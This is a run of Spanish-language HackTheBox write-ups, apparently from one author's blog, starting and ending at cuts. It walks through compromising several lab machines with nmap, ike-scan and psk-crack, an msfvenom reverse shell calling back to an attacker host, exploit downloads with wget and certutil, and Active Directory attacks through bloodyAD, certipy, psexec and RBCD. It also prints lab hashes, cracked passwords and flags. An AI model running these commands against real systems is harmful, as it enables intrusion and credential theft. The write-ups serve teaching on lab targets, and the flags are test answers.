krbtgt:aes128-cts-hmac-sha1-96:0ffbe626519980a499cb85b30e0b80f3
krbtgt:0x17:64f4771e4c60b8b176c3769300f6f3f7
john.w:0x14:f6d74915f051ef9c1c085d31f02698c04a4c6804d509b7c4442e8593d6d957ea
john.w:0x13:7b145a89aed458eaea530a2bd1eb93bd
john.w:aes256-cts-hmac-sha1-96:49a6d3404e9d19859c0eea1036f6e95debbdea99efea4e2c11ee529add37717e
john.w:aes128-cts-hmac-sha1-96:87d9cbd84d85c50904eba39d588e47db
john.w:0x17:44b1b5623a1446b5831a7b3a4be3977b
DC01$:aes256-cts-hmac-sha1-96:25e1e7b4219c9b414726983f0f50bbf28daa11dd4a24eed82c451c4d763c9941
DC01$:aes128-cts-hmac-sha1-96:9996363bffe713a6777597c876d4f9db
DC01$:0x17:d02e3fe0986e9b5f013dad12b2350b3a
darkzero-ext$:aes256-cts-hmac-sha1-96:6a32c156dd806b60f023ed0f970e34dea9a6ad29e077270318ceb3e258fc0db7
darkzero-ext$:aes128-cts-hmac-sha1-96:44cf9a522cad7cd3d6038b7e5c09cbdf
darkzero-ext$:0x17:3906c9ba81eca2ba3b433b079687e4cc

Now, we can connect to DC01 with the Administrator hash using evil-winrm and get the root flag:

evil-winrm -i dc01.darkzero.htb -u Administrator -H 5917507bdf2ef2c2b0a869a1cba40726

📌 Follow Me / Portfolio

🌐 Web: https://0xnano.com

🐦 X (Twitter): https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🎥 YouTube: https://youtube.com/@0xNano

🔎 Did you enjoy the write-up? Feel free to comment or share it — I’m always happy to answer questions and I love seeing improvements or pull requests.

nmap -sV -Pn -sC 10.129.10.150

Como en TCP esta solo el puerto 22 abierto, el cual corresponde a ssh, realizamos tambien un escaneo de puertos UDP:

sudo nmap -sU -vv -Pn --min-rate 5000 10.129.10.150

Tras obtener los resultados del escaneo, notaremos que el puerto 500 esta abierto:

500/udp   open   isakmp         udp-response ttl 63

Que es isakmp?

Internet Security Association and Key Management Protocol

Es el protocolo utilizado para negociar los parámetros de seguridad antes de crear un túnel VPN IPsec.

Entre otras cosas negocia:

• algoritmo de cifrado

• algoritmo hash

• grupo Diffie-Hellman

• método de autenticación (PSK o certificados)

Para interactuar con el servicio usamos la herramienta ike-scan. En este caso utilizamos la flag -M para mostrar la salida en múltiples líneas y facilitar su lectura. A partir de esta información, podemos identificar datos como:

• algoritmos soportados

• método de autenticación

• características del servidor

sudo ike-scan -M 10.129.10.150

Esto nos dice que:

• usa 3DES

• usa SHA1

• usa Diffie-Hellman group 2

• la autenticación es PSK (Pre Shared Key)

Luego ejecutamos el mismo comando, pero agregando la opción --showbackoff para mostrar la tabla de backoff, la cual puede utilizarse para identificar la implementación IKE del host remoto:

sudo ike-scan -M --showbackoff 10.129.10.150

En este caso, el resultado sugiere:

Implementation guess: Linksys Etherfast

Esto indica que la implementación del servicio IKE podría corresponder a un dispositivo o stack compatible con Linksys Etherfast, aunque esta identificación no siempre es completamente precisa.

A continuación utilizamos Aggressive Mode para obtener más información del servicio IKE:

• -P: muestra los parámetros del PSK obtenidos en Aggressive Mode, utilizables para cracking offline.

• -M: para que utilice multiline y muestre la salida en múltiples líneas para facilitar su lectura.

• -A: Fuerza el uso de IKE Aggressive Mode.

• -N: Evita la resolución DNS durante el escaneo.

• --id=groupnamedoesnotexist: Define un Group ID arbitrario para iniciar el intercambio IKE.

sudo ike-scan -P -M -A -n --id=groupnamedoesnotexist 10.129.10.150

El servidor devuelve el siguiente identificador:

ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)

Esto revela el identificador utilizado en la autenticación IKE, que en este caso es:

ike@expressway.htb

El intercambio IKE en Aggressive Mode devuelve los parámetros necesarios para realizar un ataque offline contra el Pre-Shared Key (PSK).

Estos parámetros incluyen valores del intercambio Diffie-Hellman, nonces y el hash de autenticación generado durante el handshake, que puede ser utilizado para intentar recuperar la clave compartida mediante un ataque de diccionario.

Para ello, copiamos los parámetros obtenidos del output de ike-scan y los guardamos en un archivo:

echo d369998823b1ee395c04a7aabefbf68dcf... > ike.hash

Este archivo contiene los parámetros del intercambio IKE necesarios para realizar el cracking del PSK.

A continuación utilizamos la herramienta psk-crack, incluida junto con ike-scan, para realizar un ataque de diccionario utilizando la wordlist rockyou:

psk-crack ike.hash -d /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Obtenemos la clave:

freakingrockstarontheroad

Utilizamos la clave para autenticarnos mediante ssh con el usuario previamente obtenido, y obtenemos la flag de user:

ssh ike@10.129.10.150

User Flag: 876d5b5c97deb07c0aea1a96b76132cf

Escalada de privilegios

Una vez obtenida una shell en la máquina como el usuario ike, intentamos verificar si el usuario tiene permisos de sudo ejecutando:

sudo -l

La respuesta del sistema indica que el usuario no tiene permisos para ejecutar comandos mediante sudo, por lo que debemos buscar otros posibles vectores de escalada de privilegios.

Para identificar posibles vectores de escalada de privilegios, utilizamos la herramienta linpeas, la cual automatiza la enumeración de configuraciones inseguras, permisos incorrectos y versiones vulnerables de software.

Primero levantamos un servidor HTTP en nuestra máquina atacante para transferir la herramienta:

python -m http.server 8081

Luego descargamos el script en la máquina objetivo:

wget http://IP/linpeas.sh

Una vez subido, le damos permiso de ejecucion con chmod +x linpeas.sh y lo ejecutamos con ./linpeas.sh

Tras revisar la salida de linpeas, observamos que el sistema utiliza una versión potencialmente vulnerable de sudo:

Para confirmarlo verificamos la versión instalada:

/usr/local/bin/sudo --version

CVE-2025-32463

Buscando exploits públicos para esta versión encontramos una vulnerabilidad identificada como CVE-2025-32463. Esta vulnerabilidad permite escalar privilegios a root mediante un bypass del entorno chroot en sudo.

https://www.exploit-db.com/exploits/52352

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/

El CVE-2025-32463 es una vulnerabilidad crítica de escalada local de privilegios en sudo, relacionada con la opción --chroot (-R). Debido a un manejo inseguro de nsswitch.conf, un usuario local puede hacer que sudo cargue configuración desde un directorio controlado por él y, en determinadas condiciones, lograr ejecución de código como root. Afecta a versiones anteriores a sudo 1.9.17p1.

Clonamos el exploit desde GitHub en nuestra máquina atacante:

git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/

Luego iniciamos nuevamente un servidor HTTP para transferir el exploit a la máquina objetivo:

python -m http.server 8081

En la máquina víctima descargamos el exploit:

wget http://10.10.15.106:8081/sudo-chwoot.sh

Le damos permisos de ejecucion con chmod +x sudo-chwoot.sh y lo ejecutamos junto con el comando whoami para confirmar que el exploit funciona:

./sudo-chwoot.sh whoami

Si revisamos el resultado, veremos que el exploit se ejecuta con exito y tenemos acceso como root, por lo cual, vamos a volver a lanzar el comando, pero que esta vez nos devuelva una shell como root, para de esta forma obtener la flag:

./sudo-chwoot.sh /bin/bash

Root Flag: da872bcc3e0e3f20b20bf26b1502a8b9

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

$nmap -sV -Pn -sC --script vuln -v 10.129.20.174

Si verificamos el puerto 80, notaremos que el servidor esta utilizando el servidor web de Microsoft IIS en su version 7.5

http://10.29.20.174

Probamos conectarnos por ftp como usuario anonimo y obtenemos conexion:

$ ftp anonymous@10.129.20.174

Si revisamos los archivos del ftp, veremos que entre ellos se encuentran:

- welcome.png -> Imagen de bienvenida

- iistart.htm -> Archivo de sitio predeterminado de Microsft IIS

- aspnet_client -> Carpeta de recursos

Si revisamos el servidor web, notaremos que si entramos a /welcome.png podremos ver la imagen de bienvenida que encontramos previamente en el ftp

http://10.29.20.174/welcome.png

Por lo tanto, analizando el escenario actual, un posible vector de entrada, seria subir una shell mediante el FTP y ejecutarla con el fin de obtener una conexion inversa.

Para ello, primero probaremos creando un archivo dummy para intentar subirlo al servidor ftp, primero creamos un simple txt con:

$ echo "0xNano" > pwned.txt

Y lo subimos al servidor ftp con el comando put:

put pwned.txt

Si revisamos la terminal en la que tenemos la conexion ftp, y lanzamos el comando dir veremos que el archivo se ha subido con exito

Comprobamos que el archivo se pueda leer desde el servidor web entrando a:

http://10.29.20.174/pwned.txt

Como pudimos subir el archivo txt con exito, ahora procederemos a subir una revshell, para ello, primero debemos crearla con msfvenom:

$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.80 LPORT=4444 -f aspx > shell.aspx

Una vez creada nuestra revshell, la subimos al ftp con el comando

put shell.aspx

Iniciamos la consola de metasploit con msfconsole -q y la configuramos para que reciba la conexion:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.80
set LPORT 4444

Iniciamos el listener de metasploit con el comando run para que se ponga a la escucha en nuestra maquina en el puerto que le asignamos previamente

Ejecutamos la shell accediendo a:

http://10.29.20.174/shell.aspx

Y recibimos la conexion en nuestra consola de metasploit, si comprobamos con el comando getuid veremos que tenemos acceso como el usuario IIS APPPOOL\Web y si consultamos la informacion del sistema con sysinfo veremos que se trata de una maquina Windows 7 6.1 con arquitectura x86

Como pudimos observar, no tenemos permisos de administrador y el uso con ese usuario es muy limitado, por lo que debemos escalar privilegios, para ello, pondremos la session en segundo plano con el comando background y buscamos en la consola de metasploit el exploit suggester con:

search exploit suggester

Configuramos el exploit suggester para que corra en la sesion 1 con:

set SESSION 1

Y lo ejecutamos con el comando run

Al terminar de ejecutarse el exploit suggester, nos recomendara varios exploits para escalar privilegios

Tras probar con algunos exploits y no tener exito debido a problemas de metasploit, decidi buscar de forma manual

Tras buscar en Google vulnerabilidades que permitan escalada de privilegios en Windows 7 6.1 encontre varios resultados

Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046):

https://www.exploit-db.com/exploits/40564

CVE-2011-1249 es una vulnerabilidad de elevación de privilegios en el controlador AFD (Ancillary Function Driver), responsable de manejar las comunicaciones Winsock TCP/IP en Windows (archivo afd.sys). El fallo ocurre porque el controlador no valida correctamente los datos enviados desde el modo usuario al kernel, lo que permite a un atacante con credenciales válidas y acceso local ejecutar código arbitrario con privilegios de sistema (NT AUTHORITY\SYSTEM).

Tras buscar una prueba de concepto (PoC), encontre la siguiente en GitHub:

https://github.com/mishmashclone/SecWiki-windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe

Descargamos el exploit de GitHub en nuestra maquina, iniciamos un servidor http con python donde este ubicado el exploit, y lo subimos a la maquina victima con el comando:

certutil -urlcache -split -f http://10.10.14.80/ms11-046.exe

Tras ejecutarlo, notaremos que si ejecutamos el comando whoami somos nt authority\system

Obtenemos la flag de user y root

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

Se hace un escaneo de nmap para reconocer el entorno con los parametros:

• -sV Para identificar las versiones de los servicios expuestos.

• -Pn Para omitir el ping a los hosts (asumiendo que están activos).

• -sC Para utilizar los scripts por defecto de nmap.

  

Como podemos observar, en el puerto 80 hay un servidor http funcionando el cual nos redireccionara a http://artificial.htb/ donde veremos que hay un sitio web en el cual debemos registrarnos para acceder

Tras registrarnos, iniciamos sesion en http://artificial.htb/login

Y se nos redirigirá a /dashboard donde veremos un apartado el cual es para subir, gestionar y lanzar, nuestros propios modelos de inteligencia artificial, para esto, es necesario tener instalados los requirimientos para construir el modelo y usar el dockerfile para crear el entorno necesario.

Si revisamos, veremos que uno de los requerimientos, es tensorflow en la version 2.13.1

Tras buscar un poco, encontramos que hay un posible RCE mediante la creacion de un modelo malicioso:

TensorFlow Remote Code Execution with Malicious Model | CyberBlog

Creamos el entorno con los requerimientos necesarios, y creamos nuestro modelo malicioso, una vez subido, obtendremos una revshell

$ john --format=raw-md5 hashes.txt --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

hacker (hacker)
mattp005numbertwo (gael)
marwinnarak043414036 (royer)

Entramos por ssh con las credenciales del usuario gael y obtenemos la flag de user

Subimos linpeas.sh para ver posibles vectores de escalada de privilegios

Si revisamos el escaneo de linpeas, veremos que hay archivos de copias de seguridad

Entre ellos hay uno que parece interesante llamado backrest_backup.tar.gz dentro de /var/backups

Lo descargamos en nuestra maquina utilizando scp

$ scp gael@artificial.htb:/var/backups/backrest_backup.tar.gz

Descomprimimos el archivo para ver su contenido

Si revisamos el archivo config.json veremos las credenciales del usuario backrest_root con la password cifrada

Decodeamos la clave

Password: !@#$%^

Si revisamos install.sh veremos que la interfaz web de backrest esta activa en el puerto 9898

Hacemos un portforwarding del puerto 9898 para acceder a la interfaz de backrest

Revisamos que tenemos acceso accediendo a localhost:9898 y como podemos observar, nos aparece la interfaz web de backrest en su version 1.7.2

Iniciamos sesion con las credenciales previamente obtenidas:

user: backrest_root
pass: !@#$%^

Creamos un repositorio que haga una copia de seguridad de /root para obtener la flag de root

Realizamos la copia de seguridad presionando backup now

Revisamos el contenido de la snapshot

Confirmamos que se copio la flag de root y descargamos la copia de seguridad

Restauramos el archivo /root/root.txt de la snapshot que realizamos

Descargamos el archivo de restauracion

Descomprimimos el archivo de la copia de seguridad y obtenemos la flag de root

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

$ nmap -sV -Pn -sC --script vuln -v 10.129.230.45

Como podemos observar, la maquina es vulnerable al CVE-2017-0143 conocido como EternalBlue

Iniciamos la consola de metasploit y filtramos por el CVE-2017-0143

Configuramos el exploit de forma que podamos obtener una sesion de meterpreter

Una vez configurado todo, lanzamos el exploit

Al obtener la sesion de meterpreter, verificamos que somos NT AUTHORITY\SYSTEM por lo cual tenemos el maximo privilegio sobre el sistema

Obtenemos la flag de user en C:\Users\haris\Desktop

Obtenemos la flag de root en C:\Users\Administrator\Desktop

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

$ nmap -sV -Pn -sC -v 10.129.227.181

Como podemos observar, en el puerto 445 parece estar corriendo el servicio SMB y el sistema operativo remoto es WIndows XP, que utiliza Windows 2000 LAN Manager como protocolo SMB, esto indica que estamos frente a una maquina muy desactualizada y posiblemente vulnerable a varios exploits.

445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2025-11-03T06:34:10+02:00
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:94:86:25 (VMware)
| Names:
|   LEGACY<00>           Flags: <unique><active>
|   LEGACY<20>           Flags: <unique><active>
|   HTB<00>              Flags: <group><active>
|   HTB<1e>              Flags: <group><active>
|   HTB<1d>              Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 5d03h57m35s, deviation: 1h24m50s, median: 5d02h57m35s

Realizamos un escaneo de nmap para ver vulnerabilidades en el puerto 445

$ nmap --script vuln -p445 10.129.227.181

Filtramos por el CVE-2008-4250 en metasploit

Vamos a utilizar el primer resultado, para ello simplemente podemos poner en la consola de metasploit use 0 o use windows/smb/ms08_067_netapi y finalmente con show options veremos las opciones disponibles del exploit

Verificamos que esten todas las opciones bien seteadas

Tras correr el exploit, obtendremos una sesion de meterpreter como NT AUTHORITY\SYSTEM dandonos asi, permiso total sobre el sistema

Obtenemos una shell y accedemos a las carpetas del sistema

Como somos NT AUTHORITY\SYSTEM obtenemos la flag de user y root

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

Se hace un escaneo de nmap para reconocer el entorno con los parametros:

• -sV Para identificar las versiones de los servicios expuestos.

• -Pn Para omitir el ping a los hosts (asumiendo que están activos).

• -sC Para utilizar los scripts por defecto de nmap.

Realizamos un escaneo del AD con bloodhound utilizando las credenciales proporcionadas:

$ bloodhound-python -u ‘henry’ -p ‘H3nry_987TGV!‘

El usuario HENRY@TOMBWATCHER.HTB tiene permisos de WriteSPN sobre el usuario ALFRED@TOMBWATCHER.HTB

El usuario Alfred tiene permisos de AddSelf sobre el grupo INFRAESTRUCTURE@TOMBWATCHER.HTB

El grupo INFRAESTRUCTURE@TOMBWATCHER.HTB tiene permisos de ReadGMSAPassword sobre ANSIBLE_DEV$@TOMBWATCHER.HTB

El usuario ANSIBLE_DEV$ Tiene permisos de ForceChangePassword sobre el usuario SAM@TOMBWATCHER.HTB

El usuario SAM tiene permisos de WriteOwner sobre el usuario JOHN@TOMBWATCHER.HTB

El usuario John tiene permisos de GenericAll sobre la cuenta de equipo ADCS@TOMBWATCHER.HTB

Teniendo en cuenta el escaneo de bloodhound, el vector de ataque es claro. Como el usuario henry tiene permisos de WriteSPN sobre el usuario alfred, esto hace posible un Kerberoasting.

¿Qué es Kerberoasting?

Kerberoasting es un ataque contra Active Directory donde un atacante solicita tickets de servicio (TGS) para cuentas que tienen un servicePrincipalName (SPN). Esos TGS están cifrados con la clave (hash) de la cuenta de servicio. El atacante extrae el ticket y lo rompe offline (con fuerza/bruteforce o diccionario) para recuperar la contraseña de la cuenta objetivo sin necesidad de interactuar continuamente con el dominio.

El ataque consiste en:

• Detectar cuentas con SPN — identificar cuentas de servicio asociadas a SPNs (p. ej. con BloodHound, GetUserSPNs, powerview).

• Solicitar TGS — pedir un ticket de servicio para el SPN desde una cuenta con permisos suficientes (cualquier usuario autenticado puede solicitar TGS para un SPN conocido).

• Volcar/extraer el TGS — guardar la respuesta (TGS) que viene cifrada con la clave de la cuenta de servicio.

• Extraer el “hash” del TGS — transformar el TGS en el formato que aceptan crackeadores (hash para John/Hashcat).

• Crackear offline — usar Hashcat/John con diccionarios o fuerza bruta para recuperar la contraseña (si es débil).

• Usar la credencial — con la contraseña conseguida, el atacante puede autenticarse como la cuenta de servicio y moverse lateralmente o acceder a recursos.

En este caso, al tener henry permisos para modificar el atributo servicePrincipalName de alfred, se le podria asociar un SPN a ese usuario y solicitar un ticket de servicio (TGS) para ese SPN y obtener un TGS cifrado con la clave de la cuenta de alfred. Ese ticket puede extraerse y crackear offline, por lo cual podriamos llegar a obtener la clave de alfred mediante un ataque de bruteforce si esta llegase a ser una contraseña debil.

Obtenemos el hash krb5 con:

\( faketime "\)(ntpdate -q dc01.tombwatcher.htb | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -v -u henry -p H3nry_987TGV! -d tombwatcher.htb

Metemos el hash en un archivo con:

\( echo '\)krb5tg...' > alfred.hash

Crackeamos el hash con hashcat utilizando como diccionario rockyou.txt:

$ hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt

Obtenemos la clave de alfred

Contraseña crackeada: alfred:basketball

Como alfred tiene permisos de AddSelf sobre el grupo Infraestructure, esto permite que el mismo usuario se pueda agregar al grupo Infraestructure, por lo cual utilizamos bloodyAD para agregarnos al grupo Infraestructure como alfred:

$ bloodyAD -u alfred -p basketball -d tombwatcher.htb --dc-ip 10.129.53.187 add groupMember 'CN=INFRASTRUCTURE,CN=USERS,DC=TOMBWATCHER,DC=HTB' alfred

Como el grupo Infraestructure tiene permisos de ReadGMSAPassword sobre ansible_dev\( esto permite que podamos leer la clave del gMSA enlazado a esa cuenta maquina. Como alfred ya forma parte del grupo Infraestructure, utilizamos netexec para dumpear el gMSA y de esta forma, obtenemos el hash NTLM de ansible_dev\):

$ nxc ldap 10.129.53.187 -u 'alfred' -p 'basketball' --gmsa

LDAPS 10.129.207.44 636 DC01 Account: ansible_dev$ NTLM: 1c37d00093dc2a5f25176bf2d474afdc

Como ansible_dev\( tiene permisos de ForceChangePassword sobre SAM, esto permite que ansible_dev\) pueda forzar un cambio de contraseña sobre SAM, como ya obtuvimos el hash NTLM de ansible_dev$, cambiamos la clave del usuario SAM a ‘Hacked_1337’ pasandole el hash obtenido previamente:

\( bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'ansible_dev\)' -p ":1c37d00093dc2a5f25176bf2d474afdc" set password 'CN=SAM,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'Hacked_1337'

Como sam tiene permisos de WriteOwner sobre el usuario john, esto permite que se pueda asignar a sam como dueño del usuario john:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u 'sam' -p 'Hacked_1337' set owner 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'sam'

Le damos permisos de GenericAll al usuario sam sobre el usuario john para darle control completo sobre john en el AD:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' add genericAll "CN=john,CN=Users,DC=tombwatcher,DC=htb" "CN=sam,CN=Users,DC=tombwatcher,DC=htb"

Cambiamos la clave del usuario john para poder acceder como ese usuario:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Hacked_1337' set password "CN=john,CN=Users,DC=tombwatcher,DC=htb" "Pwned1337"

Nos conectamos mediante evil-winrm con:

$ evil-winrm -i 10.129.53.187 -u john -p Pwned1337

Obtenemos la flag de user:

User Flag: 604255b9beeba826812fccd15aa9aa53

Listamos objetos borrados en el AD:

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * | Select-Object Name, DistinguishedName, ObjectClass, LastKnownParent, WhenChanged

Restauramos el objeto eliminado (el usuario cert_admin):

Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

Vemos que permisos tenemos sobre el usuario restaurado:

$ bloodyAD --dc-ip 10.129.53.187 --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p 'Pwned1337' get writable

Cambiamos la contraseña del usuario restaurado:

net user cert_admin Pwned1337 /domain

Abuso de Certificado ADCS:

El primer req emite un certificado válido para que cert_admin actúe como agente.

$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337 -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'

Solicita un certificado para Administrator usando el privilegio de agente.

$ certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwned1337' -dc-ip '10.129.53.187' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'User' -pfx 'cert_admin.pfx' -on-behalf-of 'tombwatcher\Administrator'

Se autentica con el PFX recién generado como Administrator.

$ certipy auth -pfx 'administrator.pfx' -dc-ip 10.129.53.187

Shell SYSTEM desde el hash NTLM del Administrador.

$ impacket-psexec tombwatcher.local/Administrator@10.129.53.187 -hashes aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

Obtenemos la flag de root

Root Flag: 3e7136fca73d5cd2f8913d35adad99f7

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

$ nmap -sV -Pn -sC -v -T4 10.10.11.174

Enumeramos los shares disponibles como guest utilizando netexec:

$ nxc smb 10.10.11.174 -u guest -p '' --shares

Como podemos observar, tenemos permisos de lectura sobre support-tools

Nos conectamos a support-tools utilizando smbclient:

$ smbclient //10.10.11.174/support-tools guest

Una vez dentro, veremos varios archivos .exe y .zip de herramientas como 7zip, Notepad, Putty, WinDirStat y WireShark, ademas de 2 archivos interesantes que son UserInfo.exe.zip y SysinternalsSuite.zip

Descargamos UserInfo.exe.zip y SysinternalsSuite.zip con el comando get:

get SysinternalsSuite.zip

get UserInfo.exe.zip

Si descomprimimos la carpeta UserInfo.exe.zip veremos que hay varios archivos .dll, el ejecutable UserInfo.exe y su archivo de configuracion UserInfo.exe.config

Si revisamos el archivo de configuracion, veremos que el archivo UserInfo.exe se trata de un archivo ejecutable para Windows ensamblado en .Net

Si buscamos en Google un desensamblador para .net en github obtendremos varios resultados, entre ellos ILSpy y dnSpy

Como ILSpy me dio algunos problemas, opte por utilizar dnSpy para decompilar el UserInfo.exe ya que su estructura esta basada en .NET:

https://github.com/dnSpy/dnSpy

Una vez decompilado el UserInfo.exe se nos creara un archivo dentro de la carpeta /decompiled llamado UserInfo.decompiled.cs

Revisamos el contenido de UserInfo.decompiled.cs en busqueda de claves con:

$ cat UserInfo.decompiled.cs | grep "password"

Como podemos observar, hay una clave encodeada para lo que parece ser el usuario ldap

Si revisamos el codigo del archivo UserInfo.decompiled.cs veremos que tiene una private key la cual es "armando" esta private key nos permitira decodear la clave final

Enumeramos los usuarios del sistema bruteando el RID con netexec:

$ nxc smb 10.10.11.174 -u guest -p '' --rid-brute

Armamos un script simple para decodear la clave:

Tras ejecutarlo, obtendremos la clave decodeada del usuario ldap la cual es nvEfEK16^1aM4\(e7AclUf8x\)tRWxPWO1%lmz

Realizamos un escaneo del AD con bloodhound utilizando las credenciales previamente obtenidas:

\( bloodhound-python -d support.htb -u ldap -p 'nvEfEK16^1aM4\)e7AclUf8x$tRWxPWO1%lmz' -ns 10.10.11.174 -c All --zip

Vemos que el usuario LDAP es miembro del DOMAIN USERS

Si revisamos el escaneo, veremos que hay muchos usuarios mas dentro del sistema

Como no encontramos mucha informacion que nos permita continuar con la escalada, procedemos a utilizar ldapsearch para validar las credenciales y que dumpee todos los objetos que encuentre en el AD:

ldapsearch -x -H ldap://10.10.11.174 -D 'SUPPORT\LDAP' -w 'nvEfEK16^1aM4\(e7AclUf8x\)tRWxPWO1%lmz' -b "DC=SUPPORT,DC=HTB"

Si revisamos, veremos que el escaneo tambien nos arroja la clave del usuario support en el campo info: Ironside47pleasure40Watchful

$ evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

User Flag: 3bcb9669db94994002439aa221e0a999

Si revisamos el escaneo de bloodhound realizado previamente, veremos que el usuario SUPPORT es miembro de REMOTE MANAGMENT USERS lo cual habilita que sea posible la conexion mediante evil-winrm. Es miembro del DOMAIN USERS, los usuarios del dominio. Y tambien es miembro del grupo SHARED SUPPORT ACCOUNTS.

Si revisamos mas al detalle, veremos que SHARED SUPPORT ACCOUNTS tiene permisos de GenericAll sobre el Domain Control

Esto habilita varios ataques, entre ellos el Resource-Based Constrained Delegation (RBCD) que nos sugiere bloodhound

El Resource-Based Constrained Delegation (RBCD) o Delegacion Restringida Basada en Recursos, como su nombre indica, es la delegacion basada en recursos dentro del AD, esto permite que un equipo (objeto computadora) actue en nombre de usuarios cuando accede a servicios de otro equipo, por ejemplo:

Supongamos que hay dos servidores:

• El Servidor A (que ya controlo).

• El Servidor B (al que quiero llegar).

Normalmente, solo el administrador de B decide quién puede delegar y acceder.
Pero con RBCD, el Servidor A puede “anotarse solo en la lista” de B como alguien autorizado.

¿El resultado? Desde A puedo hacerme pasar por cualquier usuario ante B (incluso un admin) y así entrar a lugares donde no debería.

En este caso, como estamos desde el usuario support que es miembro del grupo SHARED SUPPORT ACCOUNTS que tiene permisos de GenericAll sobre el Domain Control lo que podriamos hacer es crear una maquina (objeto computadora) que actue como si fuese el administrador al agregarlo al
msDS-AllowedToActOnBehalfOfOtherIdentity (que seria como la "lista de invitados del servidor", la cual dice que maquinas estan autorizadas a entrar y actuar en nombre de otros usuarios) para finalmente pedir un ticket de Kerberos con el fin de autenticarnos como administrador en el Domain Control.

Primero vamos a verificar que podemos crear maquinas utilizando netexec:

$ nxc ldap 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful' -M maq

Como podemos observar el MachineAccountQuota es 10, lo que significa que podemos crear hasta 10 cuentas de equipo

El ataque se puede realizar tanto desde Windows, mediante la sesion de evil-winrm como desde nuestra maquina linux. En este caso, para realizar el ataque desde la sesion de evil-winrm como el usuario support, si revisamos la recomendacion de bloodhound, para realizar el ataque vamos a necesitar 3 herramientas:

• Powermad.ps1: Para la explotacion del MachineAccountQuota.

• Powerview.ps1: Para interactuar con PowerShell y enumerar/configurar AD.

• Rubeus.exe: Para la manipulacion de Kerberos y obtencion de tickets.

Subimos las 3 herramientas a nuestra sesion de evil-winrm con:

upload Powermad.ps1

upload Powerview.ps1

upload Rubeus.exe

Creamos la cuenta de máquina PWNED$ con contraseña Pwned1337# para usarla en la explotación de delegación:

New-MachineAccount -MachineAccount PWNED -Password $(ConvertTo-SecureString 'Pwned1337#' -AsPlainText -Force) -Verbose

Asignamos PWNED$ en PrincipalsAllowedToDelegateToAccount del equipo DC para habilitar RBCD:

Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount PWNED$

Verificamos que PWNED$ aparece en PrincipalsAllowedToDelegateToAccount del DC

Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount

Generamos las claves derivadas de la contraseña de PWNED$ para poder solicitar tickets Kerberos:

.\Rubeus.exe hash /password:Pwned1337# /user:PWNED$ /domain:support.htb

